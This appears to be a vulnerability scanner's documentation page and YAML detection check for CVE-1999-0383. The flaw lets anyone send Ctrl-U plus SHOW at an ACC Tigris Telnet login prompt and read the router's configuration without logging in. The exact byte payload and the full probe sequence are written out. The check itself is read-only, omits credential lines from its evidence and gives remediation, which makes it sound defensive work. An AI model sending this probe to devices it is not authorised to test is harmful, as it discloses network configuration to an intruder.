ACC Tigris — 1 vulnerability check
noctis ships 1 vulnerability check for ACC Tigris, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ACC Tigris Telnet login prompt runs SHOW without authentication
| CVE | CVE-1999-0383 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | telnet |
| Detection | set_var, tcp_open, script, tcp_send, sleep, tcp_close, match · highest QoD 75 |
| Feed | tests/vulnerabilities/acc-tigris/CVE-1999-0383.yaml |
ACC Tigris remote access servers up to OS 10.5.8 run commands typed at the Telnet "Login:" prompt once the line is cleared with Ctrl-U, so anyone who can reach the Telnet service can display the running configuration (dial-in numbers, RADIUS servers, IP address ranges and routing filters) without logging in. The test opens a Telnet session, checks that the server offers a "Login:" prompt, sends Ctrl-U followed by the SHOW command and reports the server when the reply contains several configuration lines (SET or ADD commands) that were not part of its login banner. It then leaves the configuration pager with Q; nothing is changed on the device.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Parses / computes the next value with a Rhai script
- Sends a binary frame on the open socket
- Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends a binary frame on the open socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Sends
Qon the open socket - Checks
proof.okfor^true$→ finding QoD 75: ACC Tigris configuration disclosed at the Telnet login prompt (CVE-1999-0383)
References:
- https://nvd.nist.gov/vuln/detail/CVE-1999-0383
- https://seclists.org/bugtraq/1999/Jan/23
- https://seclists.org/bugtraq/1999/Jan/32
Feed source — tests/vulnerabilities/acc-tigris/CVE-1999-0383.yaml
# ACC Tigris remote access server — the Telnet "Login:" prompt runs commands
# without authentication (CVE-1999-0383, Bugtraq 3 Jan 1999).
#
# The Tigris login line editor prints "Login:" and pre-loads the hidden text
# "login " in its input buffer; Enter hands the whole buffer to the command
# interpreter. Up to OS 10.5.8, Ctrl-U (delete to beginning of line) also
# wipes that hidden prefix, so "^U" + "SHOW" + Enter runs SHOW without logging
# in and prints the running configuration (dial-in numbers, RADIUS servers,
# IP ranges, routing filters), written as the SET / ADD commands that rebuild
# it. Fixed in 11.1.23.3 (ACC PSR 11010).
#
# Ported from OpenVAS/Greenbone NVT pre2008/acc.nasl (OID
# 1.3.6.1.4.1.25623.1.0.10351, GPL-2.0-only): "\x15SHOW\r\n" after a "Login:"
# greeting, flag a reply containing SET, ADD or RESET, then answer the pager
# ("Type 'Q' to quit") with Q.
#
# Detection (QoD 75 — the disclosed configuration itself, read-only):
# 1. open a Telnet session, refuse the options the server proposes and read
# the greeting (late read when it is slow); it must offer "Login:";
# 2. send Ctrl-U + "SHOW" + CR LF;
# 3. two or more lines starting with a SET or ADD configuration command, not
# already part of the greeting / login banner, prove SHOW ran before any
# login (nothing we send contains SET or ADD, so an echo or a
# login prompt cannot produce it); answer the pager with Q and close.
# No configuration is changed. Evidence quotes up to three configuration
# lines and skips any naming a password, secret, community, key or auth.
#
# Better than the NASL (stated in the PR):
# - the NASL exits when the cached Telnet banner contains "Login:" and then
# requires "Login:" on its own session, so it only fires when the two
# reads disagree; here a single session is checked;
# - it only reads the second reply line and accepts SET/ADD/RESET as bare
# substrings anywhere (a "RESET" word in an error message matched); here
# every line received is checked, only lines that start with a SET/ADD
# command count (two at least, none repeated from the login banner), and output arriving late is collected too.
# category: exposure (configuration readable without authentication).
uid: 795d1166-2c5f-4fb1-b3e2-19b2719a8c92
name: "ACC Tigris Telnet login prompt runs SHOW without authentication (CVE-1999-0383)"
description: |
ACC Tigris remote access servers up to OS 10.5.8 run commands typed at the
Telnet "Login:" prompt once the line is cleared with Ctrl-U, so anyone who
can reach the Telnet service can display the running configuration (dial-in
numbers, RADIUS servers, IP address ranges and routing filters) without
logging in. The test opens a Telnet session, checks that the server offers a
"Login:" prompt, sends Ctrl-U followed by the SHOW command and reports the
server when the reply contains several configuration lines (SET or ADD
commands) that were not part of its login banner.
It then leaves the configuration pager with Q; nothing is changed on the
device.
category: exposure
cves: [CVE-1999-0383]
cvss: 7.5
severity: high
confidence_base: 0.10
tags: [acc, tigris, ericsson, router, remote-access, telnet, information-disclosure, unauthenticated]
services: [telnet]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-1999-0383"
- "https://seclists.org/bugtraq/1999/Jan/23"
- "https://seclists.org/bugtraq/1999/Jan/32"
steps:
# ---------------------------------------------------------------- set-up
- id: init-login
action: set_var
var_name: login_seen
var_value: false
- id: init-proof
action: set_var
var_name: proof
var_value: {ok: false, lines: ""}
- id: init-r1
action: set_var
var_name: r1
var_value: {response: "", response_hex: ""}
- id: init-r2
action: set_var
var_name: r2
var_value: {response: "", response_hex: ""}
- id: init-cmd
action: set_var
var_name: r_cmd
var_value: {response: ""}
- id: init-tail
action: set_var
var_name: r_tail
var_value: {response: ""}
# ------------------------------------------------------------- greeting
- id: open
action: tcp_open
handle: tn
port: "{{port}}"
read_banner: true
timeout_secs: 8
store_as: conn
# Refuse every option the server proposes (DO x -> WONT x, WILL x -> DONT x),
# walking the bytes on pair boundaries.
- id: refuse
action: script
condition: "conn.connected == true"
store_as: neg
code: |
let h = if type_of(conn.banner_hex) == "string" { conn.banner_hex } else { "" };
let out = "";
let i = 0;
let n = strlen(h);
while i + 1 < n {
if substr(h, i, i + 1) == "ff" && i + 5 < n {
let c = substr(h, i + 2, i + 3);
let o = substr(h, i + 4, i + 5);
if c == "fd" { out += "fffc" + o; i += 6; continue; }
if c == "fb" { out += "fffe" + o; i += 6; continue; }
if c == "fc" || c == "fe" || c == "ff" { i += 6; continue; }
}
i += 2;
}
#{ hex: out }
- id: answer
action: tcp_send
condition: 'conn.connected == true && neg.hex != ""'
handle: tn
send_hex: "{{neg.hex}}"
timeout_secs: 2
store_as: r1
- id: greet-check
action: script
condition: "conn.connected == true"
store_as: login_seen
code: |
let g = "";
for t in [conn.banner, r1.response] {
if type_of(t) == "string" { g += t + "\n"; }
}
strstr(tolower(g), "login:") != ""
# Slow greeting: read once more after a pause.
- id: greet-wait
action: sleep
condition: "conn.connected == true && login_seen == false"
duration_ms: 2000
- id: greet-late
action: tcp_send
condition: "conn.connected == true && login_seen == false"
handle: tn
send: ""
timeout_secs: 3
store_as: r2
- id: greet-check-late
action: script
condition: "conn.connected == true && login_seen == false"
store_as: login_seen
code: |
type_of(r2.response) == "string" && strstr(tolower(r2.response), "login:") != ""
# -------------------------------------------------------------- the probe
# Ctrl-U (0x15) + "SHOW" + CR LF.
- id: send-show
action: tcp_send
condition: "login_seen == true"
handle: tn
send_hex: "1553484f570d0a"
timeout_secs: 8
store_as: r_cmd
# Slow device: read again after a pause.
- id: wait-output
action: sleep
condition: "login_seen == true"
duration_ms: 1500
- id: flush
action: tcp_send
condition: "login_seen == true"
handle: tn
send: ""
timeout_secs: 3
store_as: r_tail
# Each reply is trim_end'ed: join with a newline so line anchors hold.
- id: collect
action: script
condition: "login_seen == true"
store_as: tn_out
code: |
let out = "";
for r in [r_cmd, r_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
- id: check-proof
action: script
condition: "login_seen == true"
store_as: proof
code: |
// Text the device sent before SHOW (banner / MOTD, which some devices
// print again after a failed login) never counts as configuration.
let greet = "";
for t in [conn.banner, r1.response, r2.response] {
if type_of(t) == "string" { greet += t + "\n"; }
}
let hits = 0;
let n = 0;
let lines = "";
for raw in split(tn_out, "\n") {
let l = chomp(raw);
if ereg("^\\s*(SET|ADD) [A-Z][A-Z0-9_-]*", l) {
let t0 = l;
t0.trim();
if strstr(greet, t0) != "" { continue; }
hits += 1;
if n < 3 && !ereg("(?i)(pass|pwd|secret|communit|key|auth)", l) {
let t = l;
t.trim();
lines += if n == 0 { t } else { " | " + t };
n += 1;
}
}
}
if lines == "" { lines = "(only credential lines, not quoted)"; }
#{ ok: hits >= 2, lines: lines }
# Leave the configuration pager, as the device expects.
- id: quit-pager
action: tcp_send
condition: 'login_seen == true && strstr(tn_out, "to quit") != ""'
handle: tn
send: "Q"
timeout_secs: 2
- id: close
action: tcp_close
handle: tn
# ---------------------------------------------------------------- finding
- id: finding-config
action: match
condition: "proof.ok == true"
source: proof.ok
pattern: "^true$"
on_match:
finding:
title: "ACC Tigris configuration disclosed at the Telnet login prompt (CVE-1999-0383)"
description: "The Telnet service on port {{port}} offered a \"Login:\" prompt, and after Ctrl-U followed by SHOW it printed configuration commands (SET / ADD lines) without any login. On ACC Tigris remote access servers up to OS 10.5.8 this exposes dial-in numbers, RADIUS servers, IP address ranges and routing filters to anyone who can reach the service (CVE-1999-0383)."
remediation: "Upgrade the Tigris OS to 11.1.23.3 or later. Until then, restrict Telnet, HTTP and PUBLIC access to the router with ADD ACCESS ENTRY rules for trusted networks only."
confidence_delta: 0.75
qod: 75
evidence: "Port {{port}}: sent Ctrl-U + SHOW at the Login: prompt; configuration lines received: {{proof.lines}}"